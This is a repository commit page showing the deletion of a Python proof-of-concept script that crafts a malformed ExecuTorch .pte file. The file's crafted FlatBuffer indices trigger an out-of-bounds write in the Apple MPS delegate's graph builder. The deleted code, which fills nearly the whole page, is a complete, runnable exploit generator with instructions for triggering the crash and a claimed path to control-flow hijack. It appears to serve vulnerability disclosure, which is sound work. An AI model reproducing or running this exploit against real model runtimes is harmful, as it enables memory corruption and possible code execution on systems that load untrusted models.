Delete craft_malformed_mps_pte.py
Browse files- craft_malformed_mps_pte.py +0 -298
craft_malformed_mps_pte.py
DELETED
|
@@ -1,298 +0,0 @@
|
|
| 1 |
-
#!/usr/bin/env python3
|
| 2 |
-
"""
|
| 3 |
-
craft_malformed_mps_pte.py
|
| 4 |
-
|
| 5 |
-
Generates a malformed ExecuTorch .pte file that triggers the OOB write in
|
| 6 |
-
Apple MPS delegate MPSGraphBuilder.mm:162 when loaded by executor_runner.
|
| 7 |
-
|
| 8 |
-
Bug: MPSBackend (MPSBackend.mm:58-64) calls GetMPSGraph(buffer) with no
|
| 9 |
-
flatbuffers::Verifier, then MPSGraphBuilder (MPSGraphBuilder.mm:92) resizes
|
| 10 |
-
_idToMPSGraphTensor to mps_values()->size() (3 in our payload), then at
|
| 11 |
-
line 162 indexes with input_ids[0] = 1000 -- OOB write on a 3-element vector.
|
| 12 |
-
|
| 13 |
-
Compare: XNNPACK and Vulkan both have the two-line fix:
|
| 14 |
-
flatbuffers::Verifier verifier(data, size);
|
| 15 |
-
VerifyXXXBuffer(verifier); // rejects before GetXXX() is ever called
|
| 16 |
-
|
| 17 |
-
Usage:
|
| 18 |
-
python3 craft_malformed_mps_pte.py
|
| 19 |
-
# Produces: malformed_mps.pte
|
| 20 |
-
# Run: ./build_asan/executor_runner --model_path malformed_mps.pte
|
| 21 |
-
|
| 22 |
-
Expected crash (MPSGraphBuilder.mm:162, OOB write, exit 139 or ASan report):
|
| 23 |
-
_idToMPSGraphTensor[1000] = placeholder;
|
| 24 |
-
^^ vector has 3 elements; index 1000 is out of bounds
|
| 25 |
-
"""
|
| 26 |
-
|
| 27 |
-
import sys
|
| 28 |
-
import os
|
| 29 |
-
import struct
|
| 30 |
-
|
| 31 |
-
# ---- FlatBuffers Python library -------------------------------------------
|
| 32 |
-
import flatbuffers
|
| 33 |
-
from flatbuffers import builder as fb_builder
|
| 34 |
-
|
| 35 |
-
# ---- Generated MPS schema bindings (run: flatc --python mps_schema.fbs) ---
|
| 36 |
-
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "schemas"))
|
| 37 |
-
from mpsgraph import MPSGraph, MPSTensor, MPSDataType
|
| 38 |
-
|
| 39 |
-
# ---- Generated Program schema bindings ------------------------------------
|
| 40 |
-
from executorch_flatbuffer import (
|
| 41 |
-
Program, ExecutionPlan, BackendDelegate, BackendDelegateDataReference,
|
| 42 |
-
BackendDelegateInlineData, Chain, Instruction, DelegateCall,
|
| 43 |
-
EValue, Tensor, AllocationDetails, CompileSpec
|
| 44 |
-
)
|
| 45 |
-
from executorch_flatbuffer import DataLocation, TensorShapeDynamism
|
| 46 |
-
import executorch_flatbuffer.KernelTypes as KT
|
| 47 |
-
import executorch_flatbuffer.InstructionArguments as IA
|
| 48 |
-
|
| 49 |
-
|
| 50 |
-
# ---------------------------------------------------------------------------
|
| 51 |
-
# Step 1: Build the malformed MPSGraph FlatBuffer
|
| 52 |
-
#
|
| 53 |
-
# Attack: mps_values has N=3 entries -> _idToMPSGraphTensor.resize(3, nullptr)
|
| 54 |
-
# input_ids[0] = 1000 -> _idToMPSGraphTensor[1000] OOB WRITE
|
| 55 |
-
# output_ids[0] = 999 -> also OOB
|
| 56 |
-
# ---------------------------------------------------------------------------
|
| 57 |
-
def build_malformed_mps_flatbuffer() -> bytes:
|
| 58 |
-
b = flatbuffers.Builder(512)
|
| 59 |
-
|
| 60 |
-
# Build 3 minimal MPSTensor tables (mps_values)
|
| 61 |
-
tensor_offsets = []
|
| 62 |
-
for _ in range(3):
|
| 63 |
-
dims_vec = b.CreateNumpyVector(__import__('numpy').array([1], dtype='int32'))
|
| 64 |
-
MPSTensor.MPSTensorStart(b)
|
| 65 |
-
MPSTensor.MPSTensorAddDatatype(b, MPSDataType.MPSDataType.mps_data_type_float32) # type 2
|
| 66 |
-
MPSTensor.MPSTensorAddNumDims(b, 1)
|
| 67 |
-
MPSTensor.MPSTensorAddDims(b, dims_vec)
|
| 68 |
-
tensor_offsets.append(MPSTensor.MPSTensorEnd(b))
|
| 69 |
-
|
| 70 |
-
# mps_values vector (3 entries)
|
| 71 |
-
MPSGraph.MPSGraphStartMpsValuesVector(b, 3)
|
| 72 |
-
for off in reversed(tensor_offsets):
|
| 73 |
-
b.PrependUOffsetTRelative(off)
|
| 74 |
-
mps_values_vec = b.EndVector(3)
|
| 75 |
-
|
| 76 |
-
# input_ids = [1000] <- the OOB index
|
| 77 |
-
MPSGraph.MPSGraphStartInputIdsVector(b, 1)
|
| 78 |
-
b.PrependInt32(1000)
|
| 79 |
-
input_ids_vec = b.EndVector(1)
|
| 80 |
-
|
| 81 |
-
# output_ids = [999] <- also OOB (for the output path MPSGraphBuilder.mm:120/124)
|
| 82 |
-
MPSGraph.MPSGraphStartOutputIdsVector(b, 1)
|
| 83 |
-
b.PrependInt32(999)
|
| 84 |
-
output_ids_vec = b.EndVector(1)
|
| 85 |
-
|
| 86 |
-
# MPSGraph root
|
| 87 |
-
MPSGraph.MPSGraphStart(b)
|
| 88 |
-
MPSGraph.MPSGraphAddMpsValues(b, mps_values_vec)
|
| 89 |
-
MPSGraph.MPSGraphAddInputIds(b, input_ids_vec)
|
| 90 |
-
MPSGraph.MPSGraphAddOutputIds(b, output_ids_vec)
|
| 91 |
-
mps_graph_root = MPSGraph.MPSGraphEnd(b)
|
| 92 |
-
|
| 93 |
-
b.Finish(mps_graph_root)
|
| 94 |
-
mps_buf = bytes(b.Output())
|
| 95 |
-
|
| 96 |
-
# Patch in the MPS file identifier "MP00" at bytes 4-7
|
| 97 |
-
# FlatBuffers layout: [root_offset(4)] [identifier(4)] [data...]
|
| 98 |
-
# The builder doesn't add a file identifier by default; patch it manually.
|
| 99 |
-
mps_buf = mps_buf[:4] + b"MP00" + mps_buf[8:]
|
| 100 |
-
|
| 101 |
-
print(f" [+] MPS FlatBuffer built: {len(mps_buf)} bytes")
|
| 102 |
-
print(f" mps_values count : 3 (controls resize)")
|
| 103 |
-
print(f" input_ids[0] : 1000 (OOB write at MPSGraphBuilder.mm:162)")
|
| 104 |
-
print(f" output_ids[0] : 999 (OOB write at MPSGraphBuilder.mm:120/124)")
|
| 105 |
-
return mps_buf
|
| 106 |
-
|
| 107 |
-
|
| 108 |
-
# ---------------------------------------------------------------------------
|
| 109 |
-
# Step 2: Wrap in an ExecuTorch Program FlatBuffer
|
| 110 |
-
#
|
| 111 |
-
# Structure:
|
| 112 |
-
# Program {
|
| 113 |
-
# version: 0
|
| 114 |
-
# execution_plan: [ ExecutionPlan {
|
| 115 |
-
# name: "forward"
|
| 116 |
-
# values: [ EValue(Tensor input), EValue(Tensor output) ]
|
| 117 |
-
# inputs: [0]
|
| 118 |
-
# outputs: [1]
|
| 119 |
-
# chains: [ Chain {
|
| 120 |
-
# instructions: [ DelegateCall { delegate_index: 0, args: [0, 1] } ]
|
| 121 |
-
# }]
|
| 122 |
-
# delegates: [ BackendDelegate {
|
| 123 |
-
# id: "mps"
|
| 124 |
-
# processed: { location: INLINE, index: 0 } <- backend_delegate_data[0]
|
| 125 |
-
# }]
|
| 126 |
-
# non_const_buffer_sizes: [0, 1024]
|
| 127 |
-
# }]
|
| 128 |
-
# backend_delegate_data: [ BackendDelegateInlineData { data: <mps_buf> } ]
|
| 129 |
-
# }
|
| 130 |
-
# ---------------------------------------------------------------------------
|
| 131 |
-
def build_program_pte(mps_payload: bytes) -> bytes:
|
| 132 |
-
import numpy as np
|
| 133 |
-
b = flatbuffers.Builder(len(mps_payload) + 4096)
|
| 134 |
-
|
| 135 |
-
# ---- backend_delegate_data[0]: our crafted MPS payload ----
|
| 136 |
-
mps_data_vec = b.CreateByteVector(mps_payload)
|
| 137 |
-
BackendDelegateInlineData.BackendDelegateInlineDataStart(b)
|
| 138 |
-
BackendDelegateInlineData.BackendDelegateInlineDataAddData(b, mps_data_vec)
|
| 139 |
-
inline_data = BackendDelegateInlineData.BackendDelegateInlineDataEnd(b)
|
| 140 |
-
|
| 141 |
-
# ---- BackendDelegate: id="mps", processed -> inline index 0 ----
|
| 142 |
-
id_str = b.CreateString("mps")
|
| 143 |
-
|
| 144 |
-
BackendDelegateDataReference.BackendDelegateDataReferenceStart(b)
|
| 145 |
-
BackendDelegateDataReference.BackendDelegateDataReferenceAddLocation(
|
| 146 |
-
b, DataLocation.DataLocation.INLINE)
|
| 147 |
-
BackendDelegateDataReference.BackendDelegateDataReferenceAddIndex(b, 0)
|
| 148 |
-
processed_ref = BackendDelegateDataReference.BackendDelegateDataReferenceEnd(b)
|
| 149 |
-
|
| 150 |
-
BackendDelegate.BackendDelegateStart(b)
|
| 151 |
-
BackendDelegate.BackendDelegateAddId(b, id_str)
|
| 152 |
-
BackendDelegate.BackendDelegateAddProcessed(b, processed_ref)
|
| 153 |
-
delegate = BackendDelegate.BackendDelegateEnd(b)
|
| 154 |
-
|
| 155 |
-
# ---- DelegateCall: delegate_index=0, args=[0,1] ----
|
| 156 |
-
args_vec = b.CreateNumpyVector(np.array([0, 1], dtype='int32'))
|
| 157 |
-
DelegateCall.DelegateCallStart(b)
|
| 158 |
-
DelegateCall.DelegateCallAddDelegateIndex(b, 0)
|
| 159 |
-
DelegateCall.DelegateCallAddArgs(b, args_vec)
|
| 160 |
-
dcall = DelegateCall.DelegateCallEnd(b)
|
| 161 |
-
|
| 162 |
-
# ---- Instruction wrapping the DelegateCall ----
|
| 163 |
-
Instruction.InstructionStart(b)
|
| 164 |
-
Instruction.InstructionAddInstrArgsType(b, IA.InstructionArguments.DelegateCall)
|
| 165 |
-
Instruction.InstructionAddInstrArgs(b, dcall)
|
| 166 |
-
instr = Instruction.InstructionEnd(b)
|
| 167 |
-
|
| 168 |
-
# ---- Chain with one instruction ----
|
| 169 |
-
instrs_vec = b.CreateNumpyVector(np.array([], dtype='int32')) # placeholder; use manual
|
| 170 |
-
Chain.ChainStartInstructionsVector(b, 1)
|
| 171 |
-
b.PrependUOffsetTRelative(instr)
|
| 172 |
-
instrs_vec = b.EndVector(1)
|
| 173 |
-
|
| 174 |
-
Chain.ChainStart(b)
|
| 175 |
-
Chain.ChainAddInstructions(b, instrs_vec)
|
| 176 |
-
chain = Chain.ChainEnd(b)
|
| 177 |
-
|
| 178 |
-
# ---- Two minimal tensors (input and output) ----
|
| 179 |
-
# Tensor 0: input (float32, shape [1], mutable -- no data_buffer_idx)
|
| 180 |
-
dims0 = b.CreateNumpyVector(np.array([1], dtype='int32'))
|
| 181 |
-
dim_order0 = b.CreateNumpyVector(np.array([0], dtype='uint8'))
|
| 182 |
-
Tensor.TensorStart(b)
|
| 183 |
-
Tensor.TensorAddScalarType(b, 6) # ScalarType.FLOAT = 6
|
| 184 |
-
Tensor.TensorAddSizes(b, dims0)
|
| 185 |
-
Tensor.TensorAddDimOrder(b, dim_order0)
|
| 186 |
-
Tensor.TensorAddShapeDynamism(b, TensorShapeDynamism.TensorShapeDynamism.STATIC)
|
| 187 |
-
t0 = Tensor.TensorEnd(b)
|
| 188 |
-
|
| 189 |
-
EValue.EValueStart(b)
|
| 190 |
-
EValue.EValueAddValType(b, KT.KernelTypes.Tensor)
|
| 191 |
-
EValue.EValueAddVal(b, t0)
|
| 192 |
-
ev0 = EValue.EValueEnd(b)
|
| 193 |
-
|
| 194 |
-
# Tensor 1: output (same shape)
|
| 195 |
-
dims1 = b.CreateNumpyVector(np.array([1], dtype='int32'))
|
| 196 |
-
dim_order1 = b.CreateNumpyVector(np.array([0], dtype='uint8'))
|
| 197 |
-
Tensor.TensorStart(b)
|
| 198 |
-
Tensor.TensorAddScalarType(b, 6)
|
| 199 |
-
Tensor.TensorAddSizes(b, dims1)
|
| 200 |
-
Tensor.TensorAddDimOrder(b, dim_order1)
|
| 201 |
-
Tensor.TensorAddShapeDynamism(b, TensorShapeDynamism.TensorShapeDynamism.STATIC)
|
| 202 |
-
t1 = Tensor.TensorEnd(b)
|
| 203 |
-
|
| 204 |
-
EValue.EValueStart(b)
|
| 205 |
-
EValue.EValueAddValType(b, KT.KernelTypes.Tensor)
|
| 206 |
-
EValue.EValueAddVal(b, t1)
|
| 207 |
-
ev1 = EValue.EValueEnd(b)
|
| 208 |
-
|
| 209 |
-
# ---- ExecutionPlan ----
|
| 210 |
-
name_str = b.CreateString("forward")
|
| 211 |
-
|
| 212 |
-
# values vector [ev0, ev1]
|
| 213 |
-
ExecutionPlan.ExecutionPlanStartValuesVector(b, 2)
|
| 214 |
-
b.PrependUOffsetTRelative(ev1)
|
| 215 |
-
b.PrependUOffsetTRelative(ev0)
|
| 216 |
-
values_vec = b.EndVector(2)
|
| 217 |
-
|
| 218 |
-
inputs_vec = b.CreateNumpyVector(np.array([0], dtype='int32'))
|
| 219 |
-
outputs_vec = b.CreateNumpyVector(np.array([1], dtype='int32'))
|
| 220 |
-
|
| 221 |
-
# chains vector [chain]
|
| 222 |
-
ExecutionPlan.ExecutionPlanStartChainsVector(b, 1)
|
| 223 |
-
b.PrependUOffsetTRelative(chain)
|
| 224 |
-
chains_vec = b.EndVector(1)
|
| 225 |
-
|
| 226 |
-
# delegates vector [delegate]
|
| 227 |
-
ExecutionPlan.ExecutionPlanStartDelegatesVector(b, 1)
|
| 228 |
-
b.PrependUOffsetTRelative(delegate)
|
| 229 |
-
delegates_vec = b.EndVector(1)
|
| 230 |
-
|
| 231 |
-
non_const_sizes = b.CreateNumpyVector(np.array([0, 1024], dtype='int64'))
|
| 232 |
-
|
| 233 |
-
ExecutionPlan.ExecutionPlanStart(b)
|
| 234 |
-
ExecutionPlan.ExecutionPlanAddName(b, name_str)
|
| 235 |
-
ExecutionPlan.ExecutionPlanAddValues(b, values_vec)
|
| 236 |
-
ExecutionPlan.ExecutionPlanAddInputs(b, inputs_vec)
|
| 237 |
-
ExecutionPlan.ExecutionPlanAddOutputs(b, outputs_vec)
|
| 238 |
-
ExecutionPlan.ExecutionPlanAddChains(b, chains_vec)
|
| 239 |
-
ExecutionPlan.ExecutionPlanAddDelegates(b, delegates_vec)
|
| 240 |
-
ExecutionPlan.ExecutionPlanAddNonConstBufferSizes(b, non_const_sizes)
|
| 241 |
-
ep = ExecutionPlan.ExecutionPlanEnd(b)
|
| 242 |
-
|
| 243 |
-
# ---- Program ----
|
| 244 |
-
# execution_plan vector [ep]
|
| 245 |
-
Program.ProgramStartExecutionPlanVector(b, 1)
|
| 246 |
-
b.PrependUOffsetTRelative(ep)
|
| 247 |
-
ep_vec = b.EndVector(1)
|
| 248 |
-
|
| 249 |
-
# backend_delegate_data vector [inline_data]
|
| 250 |
-
Program.ProgramStartBackendDelegateDataVector(b, 1)
|
| 251 |
-
b.PrependUOffsetTRelative(inline_data)
|
| 252 |
-
bdd_vec = b.EndVector(1)
|
| 253 |
-
|
| 254 |
-
Program.ProgramStart(b)
|
| 255 |
-
Program.ProgramAddVersion(b, 0)
|
| 256 |
-
Program.ProgramAddExecutionPlan(b, ep_vec)
|
| 257 |
-
Program.ProgramAddBackendDelegateData(b, bdd_vec)
|
| 258 |
-
prog = Program.ProgramEnd(b)
|
| 259 |
-
|
| 260 |
-
b.Finish(prog)
|
| 261 |
-
raw = bytes(b.Output())
|
| 262 |
-
# Patch the FlatBuffers file identifier "ET12" into bytes 4-7.
|
| 263 |
-
# Layout: [root_offset(4)] [identifier(4)] [data...]
|
| 264 |
-
# b.Finish() doesn't set the identifier; we patch it manually.
|
| 265 |
-
return raw[:4] + b"ET12" + raw[8:]
|
| 266 |
-
|
| 267 |
-
|
| 268 |
-
def main():
|
| 269 |
-
print("=== ExecuTorch MPS Delegate Runtime PoC Generator ===")
|
| 270 |
-
print("Vuln : MPSGraphBuilder.mm:92,162")
|
| 271 |
-
print("CWE : CWE-787 (Out-of-bounds Write)")
|
| 272 |
-
print("Impact : ObjC pointer written at attacker-chosen index -> type confusion -> CFH")
|
| 273 |
-
print()
|
| 274 |
-
|
| 275 |
-
print("[1/2] Building malformed MPSGraph FlatBuffer...")
|
| 276 |
-
mps_payload = build_malformed_mps_flatbuffer()
|
| 277 |
-
|
| 278 |
-
print()
|
| 279 |
-
print("[2/2] Wrapping in ExecuTorch Program FlatBuffer (ET12)...")
|
| 280 |
-
pte_bytes = build_program_pte(mps_payload)
|
| 281 |
-
print(f" [+] Program FlatBuffer: {len(pte_bytes)} bytes total")
|
| 282 |
-
|
| 283 |
-
out_path = os.path.join(os.path.dirname(__file__), "malformed_mps.pte")
|
| 284 |
-
with open(out_path, "wb") as f:
|
| 285 |
-
f.write(pte_bytes)
|
| 286 |
-
|
| 287 |
-
print(f" [+] Written: {out_path}")
|
| 288 |
-
print()
|
| 289 |
-
print("To trigger the crash:")
|
| 290 |
-
print(f" ./build_asan/executor_runner --model_path {out_path}")
|
| 291 |
-
print()
|
| 292 |
-
print("Expected (MPSGraphBuilder.mm:162, exit 139 or ASan heap-buffer-overflow):")
|
| 293 |
-
print(" vector size = 3 (from mps_values()->size())")
|
| 294 |
-
print(" input_ids[0] = 1000 -> _idToMPSGraphTensor[1000] -> OOB write -> CRASH")
|
| 295 |
-
|
| 296 |
-
|
| 297 |
-
if __name__ == "__main__":
|
| 298 |
-
main()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|